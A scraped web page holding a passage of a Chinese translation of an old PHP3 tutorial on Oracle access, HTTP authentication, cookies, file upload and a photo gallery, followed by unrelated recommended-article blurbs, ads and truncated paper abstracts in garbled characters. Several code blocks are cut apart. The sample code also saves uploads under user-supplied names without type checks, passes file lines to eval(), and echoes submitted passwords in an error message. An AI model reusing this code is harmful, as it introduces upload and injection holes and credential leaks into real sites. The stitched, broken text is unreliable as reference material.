ora_close($cursor); return; } // 主程序 if(!($conn=ora_logon("user@SID","password"))) { echo "Error: Cannot connect to database\n"; exit; } $qry="SELECT deptno \"Dept\" ,empno \"Emp\" ,empnm \"Name\" ,salary \"Salary\" FROM employee ORDER BY 1,2"; exequery($qry); ora_logoff($conn); ?> (译者注:以上代码段缺少注释,请读者参考PHP Manual的Oracle数据库函数部分) 4.4 基于HTTP的Oracle登录 将以下代码加在PHP页面代码之前以确认Oracle登录。注意你必须正确设定$ SID。 <? if(!isset($PHP_AUTH_USER)) { Header("WWW-authenticate: basic realm=\"$SID\""); Header("HTTP/1.0 401 Unauthorized"); $title="Login Instructions"; echo " You are not authorized to enter the site \n"; exit; } else { if (!($conn=ora_logon("$PHP_AUTH_USER@$SID",$PHP_AUTH_PW))) { Header("WWW-authenticate: basic realm=\"$SID\""); Header("HTTP/1.0 401 Unauthorized"); $title="Login Instructions"; echo " You are not authorised to enter the site \n"; exit; } } ?> 五、其它功能 5.1 生成图像 PHP可以操作处理图像。如果你已经安装了GD库,你甚至可以利用PHP生成图像。 (译者注:以上代码段缺少注释,请读者参考PHP Manual的图像处理函数部分) 这段代码在其他页面中通过以下标记调用,然后以上的那段button.php3代码取得text值并在另外取得的图像文件中加上该值--在以上的代码中该图像文件是images/button1.gif--最后输出到浏览器。假如你想在表单域中使用图像按钮,但是又不希望在每次按钮上的文字改变后不得不重新生成新的图像,就可以利用这样简单的方法动态生成图像文件。 5.2 Cookies PHP支持基于HTTP的cookies。在需要时你可以像使用一般变量一样方便的使用cookie。Cookies是浏览器保存于客户端的一些信息片段,由此你可以知道是否一台特定PC上的任何人都访问过你的站点,浏览者者在你的站点上的踪迹等等。使用cookies的典型例子就是对浏览者偏好的甄别。Cookies由函数setcookie()设定。与输出HTTP标头的函数header()一样,setcookie()必须在任何实际内容杯输出到浏览器之前调用。以下是一个简单例子: <? if (empty($VisitedBefore)) { // 如果没有设定cookie,为cookie赋上当前时间值 // 函数中的最后一个参数声明了该cookie保存的时间 // 在这个例子中是1年 // time()函数返回自1970年1月1日以来的以秒数计的时间 SetCookie("VisitedBefore",time(), time()+(60*60*24*365)); } else { // 欢迎浏览者再次光临 echo "Hello there, welcome back"; // 读取cookie并判断 if ( (time() - $VisitedBefore) >= "(60*60*24*7)" ) echo "Why did you take a week to come back. You should be here more often!? "; } ?> 5.3 基于HTTP验证 基于HTTP验证当PHP以CGI模式运行时不能实现。我们可以使用函数header()发送HTTP标头强制验证,客户端浏览器则弹出供输入用户名和密码的对话框。这两个变量被储存在$PHP_AUTH_USER和$PHP_AUTH_PW中,你可以使用这两个变量验证合法并允许进入。以下的例子通过用户名称/密码对为tnc/nature的验证一名用户的登录: 事实上再实际引用中不大可能如上面使用代码段明显的用户名称/密码对,而是利用数据库或者加密的密码文件存取它们。 5.4 文件上传 你可以利用PHP实现文件的功能,注意客户端的浏览器应该是Netscape3以上或者IE3以上。以下就是该功能的简单演示: ( upload.html ): Upload Your File (You may notice a slight delay while we upload your file.) 下面是处理上传的文件: ( receiver.php3 ): 2000000 ) { $error_msg = "Sorry, your file is too large."; return; } $the_time = time (); // 你需要对以下目录有写权限 $upload_dir = "/local/uploads"; $local_file = "$upload_dir/$the_time"; if ( file_exists ( '$local_file' ) ) { $seq = 1; while ( file_exists ( "$upload_dir/$the_time$seq" ) ) { $seq++; } $local_file = "$upload_dir/$the_time$seq"; }; rename ( $uploadfile, $local_file ); display_page (); } function display_page () { // 这里是你的页面内容 } php3 Receiving Script <? if ( $error_msg ) { echo "$error_msg"; } if ( $sendit ) { do_upload (); } elseif ( $cancelit ) { header ( "Location: $some_other_script" ); exit; } else { some_other_func (); } ?> 5.5 常用函数 我们简单来看看一些常用的函数。 数组 array - 生成数组 count - 数组元素个数 sort - 数组排序,另有其他几种排序函数可供使用 list - 列出数组元素 each - 返回下一个key/value对 current - 返回当前数组元素 next,prev - 传回当前数组元素前后指针 日期和时间 checkdate - 验证日期/时间格式 date - 生成日期/时间格式 time - 当前时间信息 strftime - 格式化日期/时间 目录、文件系统 chdir - 改变目录 dir - 目录类别 opendir, readdir, closedir - 开启、读取、关闭目录 fopen, fclose - 开启、关闭文件 fgets, fgetss - 逐行读取内容 file - 将整个文件读入一个数组变量中 正则表达式 ereg - 匹配正则表达式 eregi - 大小写非敏感匹配正则表达式 ereg_replace -匹配正则表达式并替换 eregi_replace -大小写非敏感匹配正则表达式并替换 split - 依规则切开字符串并以数组形势存储 字符串 AddSlashes - 加上斜杠后使用字符串 echo - 输出一个或多个字符串 join, implode - 将数组元素合并为字符串 htmlentities, htmlspecialchars - 将HTML特殊字符转换为HTML标记形式 split - 依规则切开字符串并以数组形势存储 5.6 扩展我们的范例主页 我们将使用以上提到的一些函数和思想为我们的范例主页添加更多的动态内容。我们可以在每个页面的顶部加上导航栏,同时使得当前页自动的不被链接显示;同时还可以添加一个用户验证表单以便上传音乐、图像等文件并自动更新页面。 导航栏 实际上就是在footer.inc文件中加上一段代码。假设你的web站点中所有后缀为.php3的文件都会出现在导航栏中,以下就是被存为include/navbar.inc的代码: <? /* 输出该导航栏,链接所有除当前页的站内.php3文件 */ # 读取目录 $d = dir("./"); echo " | \n"; while($entry = $d->read()) { // 忽略无文件情况 if ( !is_file($entry) ) continue; /* 将文件名与扩展名分开。由于.是正则表达式特殊字符,应该用\引出 */ list($filenm, $fileext) = split("\.",$entry, 2); // 忽略非.php3文件情况 if( $fileext != "php3" ) continue; /* 现在我们已经把.php3文件都选出,下面搜寻文件中的第一行(标题) 类似$title="something"; 并将以上标题内容分开,用作链接文字 */ $linknm = ""; $fp=fopen($entry,"r"); while($buffer=fgets($fp, 4096)) { $buffer = trim($buffer); // 我们已经把每个文件的标题放在文件的第一行以便搜索 // 但是当你改变变量名称时可能会带来大麻烦 if (ereg("title *= *\"", $buffer)) { /* 我们已经取得了标题内容并可以在此基础上 进行去除空格等处理。 必须以PHP代码方式处理,比如$title = "blah blah" */ eval($buffer); // 然后将链接文字显示为标题文字 $linknm = $title; break; } } fclose($fp); if ( $entry == basename($PHP_SELF) ) echo "$linknm"; else echo "$linknm"; echo " | "; } $d->close(); echo " \n"; ?> 照片收藏夹 我们将引用基于HTTP的验证、文件系统函数和文件上传功能维护放置图像文件的目录。 同时我们需要建立一个可以列出在该目录下所有照片的页面。 文件上传 <? include("include/common.inc"); // 我们在这里再做一次用户验证 if(!isset($PHP_AUTH_USER)) { Header("WWW-Authenticate: Basic realm=\"$MySiteName\""); Header("HTTP/1.0 401 Unauthorized"); echo "Sorry, you are not authorized to upload files\n"; exit; } else { if ( !($PHP_AUTH_USER==$MyName && $PHP_AUTH_PW==$MyPassword ) ) { // 如果是错误的用户名称/密码对,强制再次认证 Header("WWW-Authenticate: Basic realm=\"My Realm\""); Header("HTTP/1.0 401 Unauthorized"); echo "ERROR : $PHP_AUTH_USER/$PHP_AUTH_PW is invalid."; exit; } } if ( $cancelit ) { // 当浏览者按下"取消"按钮则转向首页面 header ( "Location: front_2.php3" ); exit; } function do_upload () { global $userfile, $userfile_size, $userfile_name, $userfile_type; global $local_file, $error_msg; global $HTTP_REFERER; if ( $userfile == "none" ) { $error_msg = "You did not specify a file for uploading."; return; } if ( $userfile_size > 2000000 ) { $error_msg = "Sorry, your file is too large."; return; } // Wherever you have write permission below... $upload_dir = "photos"; $local_file = "$upload_dir/$userfile_name"; if ( file_exists ( $local_file ) ) { $error_msg = "Sorry, a file with that name already exists"; return; }; // 你还可以由此检查文件名称/类型对以确定是何种文件:gif,jpg,mp3… rename($userfile, $local_file); echo "The file is uploaded\n"; echo "Go Back\n"; } $title = "Upload File"; include("include/header.inc"); if (empty($userfile) || $userfile=="none") { // 输出以下表单 ?> <FORM ACTION="" ENCTYPE="multipart/form-data" METHOD=POST> (You may notice a slight delay while we upload your file.) <? } else { if ( $error_msg ) { echo "$error_msg"; } if ( $sendit ) { do_upload (); } } include("include/footer.inc"); ?> 照片图库 Here are some of our family photos. This PHP script can really be made better, by splitting into multiple pages. read()) { if (is_file("photos/$entry")) echo "\n"; } $d->close(); ?> 另外,你可以在文件上传的表单中加上一个输入元素去描述该上传的文件。这个元素将被存储在文件中,然后被以上的照片图库的那段代码所读出并显示出来。 六、网络资源 你可以通过web上的众多资源更多的了解PHP3。许多邮件列表和书籍对你都非常有用。 6.1 站点 PHP的爆炸性流行使得一夜之间出现了很多基于PHP的站点,其中不少站点有在线教程、范例代码、技巧和提示等内容。 国内 http://www.phpuser.com - PHP中文用户,也就是这里了 http://www.phpx.com - 中国PHP联盟 http://www.phpsite.net - PHP专门站 http://www.phpchina.com - PHP CHINA http://www.cpcw.com/netschool/homepage/cgi/ - 电脑报网页陶吧 国外 http://www.php.net/ - PHP官方站点 http://www.devshed.com/ - 极好的教程 http://px.sklar.com - 代码交换 http://www.phpbuilder.com/ - 教程、专栏和邮件列表档案 http://www.weberdev.com/ - 文章和代码 http://www.phpwizard.net/ - 提示与技巧 http://www.iometrics.com/php/phplist.php3/ - IOMetrics scripts的档案 http://www.e-gineer.com/phpkb/ - PHP知识库 6.2 邮件列表 你可以在PHP官方站点的"支持"栏目内登记获得以下的邮件列表。值得注意的是这些都是高流量流表,一般每天会有100份e-mail。 php3@lists.php.net - 主要的列表 php-dev@lists.php.net - 主要针对开发者 php-list@exp.com.cn - 本站的邮件列表,与论坛相通 6.3 引人注目的工程 一些基于PHP的工程已经发展得比较完善。其中一些更出色更引人注目的是: http:// phplib.netuse.de - PHPLib,一整套PHP函数库 http://www.phorum.org - Phorum是一个很完善的BBS系统 http://www.fishcartsql.org - FishCartSQL是一个电子商务解决方案 http://www.midgard-project.org - Midgard是一个网络应用开发平台 Generated by Bo-blog 2.0.2 sp2

最新推荐

本文对几种经典的软件体系结构风格进行了具体的阐述,分析了各种风格的特点、优缺点,最后重点介绍了三层C/S软件体系结构。

20世纪60年代中期的软件危机使得人们开始重视软件工程的研究。起初,人们把软件设计的重点放在数据结构和算法的选择上。...随着Internet的发展,一个更灵活的体系结构“三层/多层计算”体系结构应运而生。

数据库由两层结构发展成为三层的原因和好处

数据库的论文,我们老师留得,资源共享一下,有需要的可以下。讲的是数据库由两层结构发展成为三层的原因和好处

JAVA网络通信系统的研究与开发

系统采用客户机/服务器(C/S)的模式设计,是一个三层C/S结构,数据库服务器、应用程序服务器端、应用程序客户端,按照此设计思想,系统采用C/S结构,可以将任务合理分配到客户机端和服务器端 ,从而降低了系统的...

JSP期末复习资料详细解析

B/S结构是三层体系结构,B/S结构要求客户端只需要安装一个浏览器(Browser),客户端通过浏览器将请求发送给Web服务器,Web服务器负责与后端数据库服务器进行数据通信;C/S结构是二层结构平台模式,C/S结构要求...

基于J2EE框架的个人博客系统项目毕业设计论...

它使用服务层框架可以将JavaBeans从Jsp/Servlet中分离出来,而使用表现层框架则可以将Jsp中剩余的JavaBeans完全分离,这部分JavaBeans主要负责显示相关信息,一般是通过标签库(Taglib)实现,不同框架有不同自己的...

代码随想录最新第三版-最强八股文

这份PDF就是最强⼋股⽂! 1. C++ C++基础、C++ STL、C++泛型编程、C++11新特性、《Effective STL》 2. Java Java基础、Java内存模型、Java面向对象、Java集合体系、接口、Lambda表达式、类加载机制、内部类、代理类、Java并发、JVM、Java后端编译、Spring 3. Go defer底层原理、goroutine、select实现机制 4. 算法学习 数组、链表、回溯算法、贪心算法、动态规划、二叉树、排序算法、数据结构 5. 计算机基础 操作系统、数据库、计算机网络、设计模式、Linux、计算机系统 6. 前端学习 浏览器、JavaScript、CSS、HTML、React、VUE 7. 面经分享 字节、美团Java面、百度、京东、暑期实习...... 8. 编程常识 9. 问答精华 10.总结与经验分享 ......

基于交叉模态对应的可见-红外人脸识别及其表现评估

12046通过调整学习:基于交叉模态对应的可见-红外人脸识别Hyunjong Park*Sanghoon Lee*Junghyup Lee Bumsub Ham†延世大学电气与电子工程学院https://cvlab.yonsei.ac.kr/projects/LbA摘要我们解决的问题,可见光红外人重新识别(VI-reID),即,检索一组人的图像,由可见光或红外摄像机,在交叉模态设置。VI-reID中的两个主要挑战是跨人图像的类内变化,以及可见光和红外图像之间的跨模态假设人图像被粗略地对准,先前的方法尝试学习在不同模态上是有区别的和可概括的粗略的图像或刚性的部分级人表示然而,通常由现成的对象检测器裁剪的人物图像不一定是良好对准的,这分散了辨别性人物表示学习。在本文中,我们介绍了一种新的特征学习框架,以统一的方式解决这些问题。为此,我们建议利用密集的对应关系之间的跨模态的人的形象,年龄。这允许解决像素级中�

javascript 中字符串 变量

在 JavaScript 中,字符串变量可以通过以下方式进行定义和赋值: ```javascript // 使用单引号定义字符串变量 var str1 = 'Hello, world!'; // 使用双引号定义字符串变量 var str2 = "Hello, world!"; // 可以使用反斜杠转义特殊字符 var str3 = "It's a \"nice\" day."; // 可以使用模板字符串,使用反引号定义 var str4 = `Hello, ${name}!`; // 可以使用 String() 函数进行类型转换 var str5 = String(123); //

数据结构1800试题.pdf

你还在苦苦寻找数据结构的题目吗?这里刚刚上传了一份数据结构共1800道试题,轻松解决期末挂科的难题。不信?你下载看看,这里是纯题目,你下载了再来私信我答案。按数据结构教材分章节,每一章节都有选择题、或有判断题、填空题、算法设计题及应用题,题型丰富多样,共五种类型题目。本学期已过去一半,相信你数据结构叶已经学得差不多了,是时候拿题来练练手了,如果你考研,更需要这份1800道题来巩固自己的基础及攻克重点难点。现在下载,不早不晚,越往后拖,越到后面,你身边的人就越卷,甚至卷得达到你无法想象的程度。我也是曾经遇到过这样的人,学习,练题,就要趁现在,不然到时你都不知道要刷数据结构题好还是高数、工数、大英,或是算法题?学完理论要及时巩固知识内容才是王道!记住!!!下载了来要答案(v:zywcv1220)。

通用跨域检索的泛化能力

12056通用跨域检索:跨类和跨域的泛化2* Soka Soka酒店,Soka-马上预订;1印度理工学院,Kharagpur,2印度科学学院,班加罗尔soumava2016@gmail.com,{titird,somabiswas} @ iisc.ac.in摘要在这项工作中,我们第一次解决了通用跨域检索的问题,其中测试数据可以属于在训练过程中看不到的类或域。由于动态增加的类别数量和对每个可能的域的训练的实际约束,这需要大量的数据,所以对看不见的类别和域的泛化是重要的。为了实现这一目标,我们提出了SnMpNet(语义Neighbourhood和混合预测网络),它包括两个新的损失,以占在测试过程中遇到的看不见的类和域。具体来说,我们引入了一种新的语义邻域损失,以弥合可见和不可见类之间的知识差距,并确保潜在的空间嵌入的不可见类是语义上有意义的,相对于其相邻的类。我们还在图像级以及数据的语义级引入了基于混�